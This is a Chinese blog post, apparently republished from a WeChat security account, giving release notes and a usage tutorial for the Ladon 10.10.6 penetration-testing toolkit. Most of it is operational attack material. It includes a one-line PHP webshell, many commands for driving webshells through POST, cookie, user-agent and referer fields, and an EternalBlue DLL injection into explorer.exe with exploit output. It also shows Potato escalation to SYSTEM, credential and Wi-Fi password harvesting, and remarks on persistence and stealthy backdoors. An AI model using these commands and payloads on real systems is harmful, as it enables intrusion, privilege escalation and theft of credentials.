Ladon 10.10.6
2023-6-5 10:5:52 Author: WIN哥学安全(查看原文) 阅读量:23 收藏

Ladon 10.10.6 更新功能

20230603[u]LadonExp           支持GET连接MS17010漏洞CmdShell执行命令[u]LadonExp           生成EXE可解密Base64、Hex  PostShell结果[u]PostShell          生成EXE可解密Base64、Hex  PostShell结果
Ladon 10.10.6 20230528[+]PostShell Post提交CmdShell客户端,如CMD小马pwd=whoami执行命令,支持Post、Cookie、UserAgent、Referer等提交[+]MndpInfo/RouterOS/Mikrotik Mndp协议广播探测同网段Mikrotik路由器信息 (3540不支持)[u]GetInfo 移除GetInfo2,GetInfo已包含WMI获取的信息[u]EnumProcess/tasklist/ps 查看进程详细信息,3种写法均支持[u]EnumShare/ShareInfo 枚举局域网、同网段计算机共享资源[u]EnumMssql/MssqlInfo MSSQL协议探测同网段SQL SERVER数据库信息
5.20[+]QueryAdminDomain 查看域管理员[+]QueryDomain 查看当前域、域时间LadonExp payload出现$cmd$或$b64cmd$ 默认测试按钮 whoami增加Windows常用命令 QueryAdmin QueryProxy ActiveAdmin ActiveGuest等GUI DLL添加用户 密码永不过期
10.10.5 20230513[u]ExchangePoc 识别ProxyShell ISVUL更准确 [+]CS beacon连接测试CmdShell Ladon cmdshell http://192.168.50.2:888 cmd whoami[u]HikvisionScan[U]修复CS下portscan noping 指定端口 识别不到IP的bug[+]cmdshell 连接Ladon测试专用webshellLadonExp 可选生成代码,方便修改pocLadonExp 服务器返回协议不规范或其他错误提示 如ServerProtocolViolation 只空对象无法确定原因[+]web 添加WebShell测试专用(Ladon web 800 cmd 访问http://192.168.1.8:800/shell?cmd=whoami)

0x001 一键CmdShell  Get提交 测试专用

使用渗透专用的迷你Web服务器一键开启cmdshell,开启方法很简单,在后面加个cmd,通过指定URL访问,即可执行CMD命令,由于传输通信都是明文,主要用于测试。使用不同权限启动cmdshell服务器,即可测试提权工具,无需搭建IIS、Apache、Nginx、Tomcat等中间件到Win10、Win11系统,便可模拟local service、network service等用户权限提权,测试完后,结束Ladon进程,还你一个干净无漏洞的环境。

Ladon web 800 cmd

GET提交,在浏览器地址栏填写shell地址就可以执行命令

Ladon CmdShell模块连接webshell执行命令

Ladon cmdshell http://192.168.50.2:800 cmd whoami

PS: Cobalt Strike加载最新版Ladon后,可使用上述命令连接

0x002  Potato提权工具

Ladon内置多个Potato提权工具,服务用户轻松提权System

Ladon GodPotato whoamiLadon EfsPotato whoamiLadon SweetPotato whoamiLadon BadPotato whoami

在Win11下使用network service权限开启Ladon的CmdShell模拟,浏览器访问执行whoami,可看到权限为network,可使用potato系列提权。

Ladon CmdShell http://192.168.50.145:800 cmd "C:\Users\Public\Ladon.exe GodPotato whoami"

本文例子GodPotato,在Win11下成功从network提权system权限,其它操作系统自行测试,不要盲目上目标,先确认EXP是否支持。

Ladon GodPotato whoami

0x003 PostShell Post提交CmdShell客户端

该模块主要功能为POST提交任意数据并获取返回结果,如CMD马pwd=whoami执行命令,支持Post、Cookie、UserAgent、Referer等

Usage: PostShell <method> <url> <pwd> <type> <cmd>Ladon PostShell POST http://192.168.50.18/post.jsp tom cmd whoamiLadon PostShell POST http://192.168.50.18/post.jsp tom b64cmd d2hvYW1pLadon PostShell POST http://192.168.50.18/post.jsp tom base64 d2hvYW1pLadon PostShell POST http://192.168.50.18/post.jsp tom hex whoamiLadon PostShell UA http://192.168.50.18/ua.jsp tom cmd whoamiLadon PostShell UA http://192.168.50.18/ua.jsp tom b64cmd d2hvYW1pLadon PostShell UA http://192.168.50.18/ua.jsp tom base64 d2hvYW1pLadon PostShell UA http://192.168.50.18/ua.jsp tom hex 77686F616D69Ladon PostShell Cookie http://192.168.50.18/ck.jsp tom cmd whoamiLadon PostShell Cookie http://192.168.50.18/ck.jsp tom b64cmd d2hvYW1pLadon PostShell Cookie http://192.168.50.18/ck.jsp tom base64 d2hvYW1pLadon PostShell Cookie http://192.168.50.18/ck.jsp tom hex 77686F616D69Ladon PostShell Referer http://192.168.50.18/re.jsp tom cmd whoamiLadon PostShell Referer http://192.168.50.18/re.jsp tom b64cmd d2hvYW1pLadon PostShell Referer http://192.168.50.18/re.jsp tom base64 d2hvYW1pLadon PostShell Referer http://192.168.50.18/re.jsp tom hex 77686F616D69Ladon PostShell Destination http://192.168.50.18/re.jsp tom cmd whoamiLadon PostShell Destination http://192.168.50.18/re.jsp tom b64cmd d2hvYW1pLadon PostShell Destination http://192.168.50.18/re.jsp tom base64 d2hvYW1pLadon PostShell Destination http://192.168.50.18/re.jsp tom hex 77686F616D69Ladon PostShell HttpBasic http://192.168.50.18/re.jsp tom cmd whoamiLadon PostShell HttpBasic http://192.168.50.18/re.jsp tom b64cmd d2hvYW1pLadon PostShell HttpBasic http://192.168.50.18/re.jsp tom base64 d2hvYW1pLadon PostShell HttpBasic http://192.168.50.18/re.jsp tom hex 77686F616D69

PS: 相关WebShell或CmdShell不提供,自行参考本文例子实现

PHP为例,获取POST数据执行CMD命令,非常简单一个system就行,熟悉其它语言的,可以自行构造,原理一样,但其它语言执行CMD可能并非一个system就可以,使用PHP只是便于大家理解,特别适合新手入门。

<?php$k = $_POST['k8'];system($k);?>

使用PostShell提交cmd命令calc,可以看到目标机器弹出计算器

0x004 CobaltStrike插件Ladon连接内网webshell 

有一些场景,无法代理,可以使用PostShell连接内网WebShell

0x005 LadonExp连接WebShell

LadonExp可理解为GUI版功能更强大的HackBar,也可理解为简易Burp提交工具,也可理解为Web漏洞一键EXP生成工具。使用JSP制作一个webshell,通过LadonExp提交cmd命令,传输使用Base64加密,所以提交的命令经过Base64加密,返回结果也是Base64数据,Exp自行解密。

新版本 返回结果 支持明文、base64、hex解密,使用null提交,连接未使用Base64加解密的webshell,WireShark抓包可以看到结果是明文。

连接base64的webshell,抓包发现回显内容是加密的

LadonExp支持变量$cmd$参数,构造好payload,在CMD变量处填写$cmd$,生成的poc,秒变一键连接工具。

LadonPoc.exe http://192.168.50.202:8080/post.jsp whoami

当变量为$b64cmd$时,输入命令,经Base64加密后提交

0x006 连接powershell webshell

0x007 连接nodejs  webshell

0x008 perl webshell

0x009 python webshell

0x010  MS17010漏洞CmdShell

同理可以通过MS17010漏洞一键注入内存shell,执行任意命令

Ksmb回显DLL x86 payload注入成功,目标打印机进程监听8888端口

使用CmdShell模块连接,成功执行命令,sytem权限

PS: MS17010获取的权限,和进程有关,注入exploere则是用户权限

0x011 将指定DLL(payload_x86.dll),注入指定进程(explorer.exe)

C:\Users\k8gege\ladon_exp>ksmb.exe 192.168.50.165 445 payload_x86.dll explorer.exeMS17010-EXP ETERNALBLUE by K8gege
IP: 192.168.50.165OS: -bit 6.1 build 7600 Windows 7 Ultimate 7600VUL: 1 (ETERNALBLUE - DANE)EXP: Use Eternalblue & Doublepulsar

连接cmdshell,执行whoami回显结果是当前用户

C:\Users\k8gege>Ladon cmdshell http://192.168.50.165:8888 cmd whoami
Load CmdShellwin-17010\null

0x012  WmiInfo模块识别Windows系统位数

目标系统位数不指定DLL时,默认Ksmb自动识别,指定DLL可使用WmiInfo来确认,如下图目标32位系统。

0x013  tasklist、PS、EnumProcess 枚举进程详细信息

进程注入,需要知道进程权限、位数等信息,一般溢出漏洞都会直接拿到SYSTEM权限,可以直接植入C2,释放文件添加启动项持久化。当然也可以像NSA这样隐蔽,溢出后安装一个可以执行任意DLL或Shellcode的后门,同样后门也可制作成直接执行任意CMD,因为很多人都不懂制作DLL和Shellcode,所以留CMD后门,操作起来更方便。但执行命令的权限是由注入进程的权限决定的,并不是说17010溢出SYSTEM,执行的命令就一定是SYSTEM,这得看DLL注入哪个进程,注入时DLL和进程位数要对应,不然可能导致进程崩溃或系统蓝屏。

对相关进程不熟悉的,可使用Ladon的Tasklist命令获取当前系统详细进程信息,有进程对应完整路径、PID、位数、用户权限、标题等信息。实战也可以用来查找一些C2,比如进程为svchost.exe,但是程序路径非system目录,连检测都不用检测就知道这程序肯定有问题。当然也可以用来查找管理员当前正在操作的一些工具,安装路径在哪,而不是盲目的乱翻。

0x014  CmdLine查看进程命令行参数

上面的进程信息不包含命令行参数,所以需要另一个模块来获取。有时可以通过命令行参数获取信息,比如一些命令行连接远程的密码等

Ladon CmdLine   获取当前正在运行所有程序的命令行参数Ladon CmdLine Firefox.exe  获取指定进程命令参数

0x015  GetInfo一键收集本机渗透常用信息

IP信息、CPUID、GUID、硬盘序列号、CmdKey、Wifi密码、用户信息、域信息、启动项、计划任务、USB信息、安装软件版本、最近操作文件、进程信息、磁盘信息等,结果很多,建议重定向输出到文件保存。

Ladon GetInfo

0x016  DirList列全盘目录信息

该功能比GetInfo获取信息更全,多一个全盘目录信息枚举,完成自动将相关命令结果和目录信息压缩成一个文件。

Ladon DirList  获取全盘目录文件信息Ladon DirList c:\ 获取C盘目录文件信息

0x017 MndpInfo Mndp协议广播探测Mikrotik路由器

Ladon MdnpInfoLadon RouterOSLadon Mikrotik

PS: 除了MdnpIfno,OSscan、PortScan等模块也可识别

小结: Ladon的功能模块很多,不熟建议查看文档,大部份用法统一,但个别模块可能参数用法不太一样,使用前还是先看或本地环境测比较好。为了减轻维护使用文档的工作量,简明使用教程只放在github上,公开版本为911,功能全但被杀严重,环境需.net4.8,实战受到不少限制,只适合本地测试或代理下使用。

Bug反馈

最后 希望大家多提交一些Bug,提交Bug的时候,最好把问题描述清楚。比方说什么操作系统、版本位数、多少位、执行命令等,在CMD下执行、PowerSehll还是CS下执行,CS下是用插件执行还是上传到目标执行,当前执行命令的权限,报错是什么等信息越详细越好。Ladon默认输出的信息就包含详细操作系统版本、进程、.net版本、权限等信息,截图都能反馈不少信息。

下面是错误提问或Bug反馈的例子

我使用SmbScan模块为什么扫不到密码? 首先没图片,不知道你的执行方式,在什么系统上执行,用的是什么版本的Ladon,其次不知道密码字典格式是否正确,输入的IP格式是否正确,比方说命令是Ladon ip.txt smbscan,相关ip你放在ipxxx.txt里,执行的命令是 "Ladon ipxxx.txt smbscan"诈一看没问题是吧,让它扫ipxxx.txt文件里的IP,但要仔细想想,Ladon肯定会报错啊,因为Ladon支持IP、URL、IP段、甚至IP和URL的混合等目标格式。单纯输入TXT又没告诉它TXT里放的是IP还是URL,它怎么会认识,所以文件名就相当于你使用其它工具的-url urlxxx.txt来告诉工具是URL,-ip ipxxx.txt来告诉工具是IP文件,大家没注意到Ladon没有-url或-ip参数吗,那只能通过文件名指定了。而且Ladon也会提示输入不合法,如果是使用上的问题,只要发出截图,我看一眼就能帮你解决问题,而不是单纯反馈说用哪个模块老是报错,原因详细过程信息什么都不说。我又不是站在你旁边看你操作的人,只说有问题,谁能解决?

如果是在CS下使用密码审计模块,字典文件是需要上传到目标,对应CS工作目录下使用,不然会提示找不到文件,因为是内存加载,所以执行Ladon时会去pwd出来的路径下找字典文件,你上传到某个目录,beacon又CD到其它目录,这时执行Ladon当然找不到啊。但如果是把Ladon上传到指定目录,字典也和Ladon放在一起,通过shell执行上传到目标Ladon程序,不管cd到哪个目录,只要填写全路径都可以用。插件内存加载,就是pwd在哪个目录,依赖的文件就得上传到哪个目录。使用不同版本,同一模块遇到问题也是不一样的。所以提问或反馈一定要说清楚。


文章来源: http://mp.weixin.qq.com/s?__biz=MzkwODM3NjIxOQ==&mid=2247493152&idx=2&sn=e32f9714174d2665623c8ee5e79bccbe&chksm=c0c847d4f7bfcec21f86e2e5575bc1190defb32193a202ddebde4feda7d539a6cde1c05136e8#rd
如有侵权请联系:admin#unsafe.sh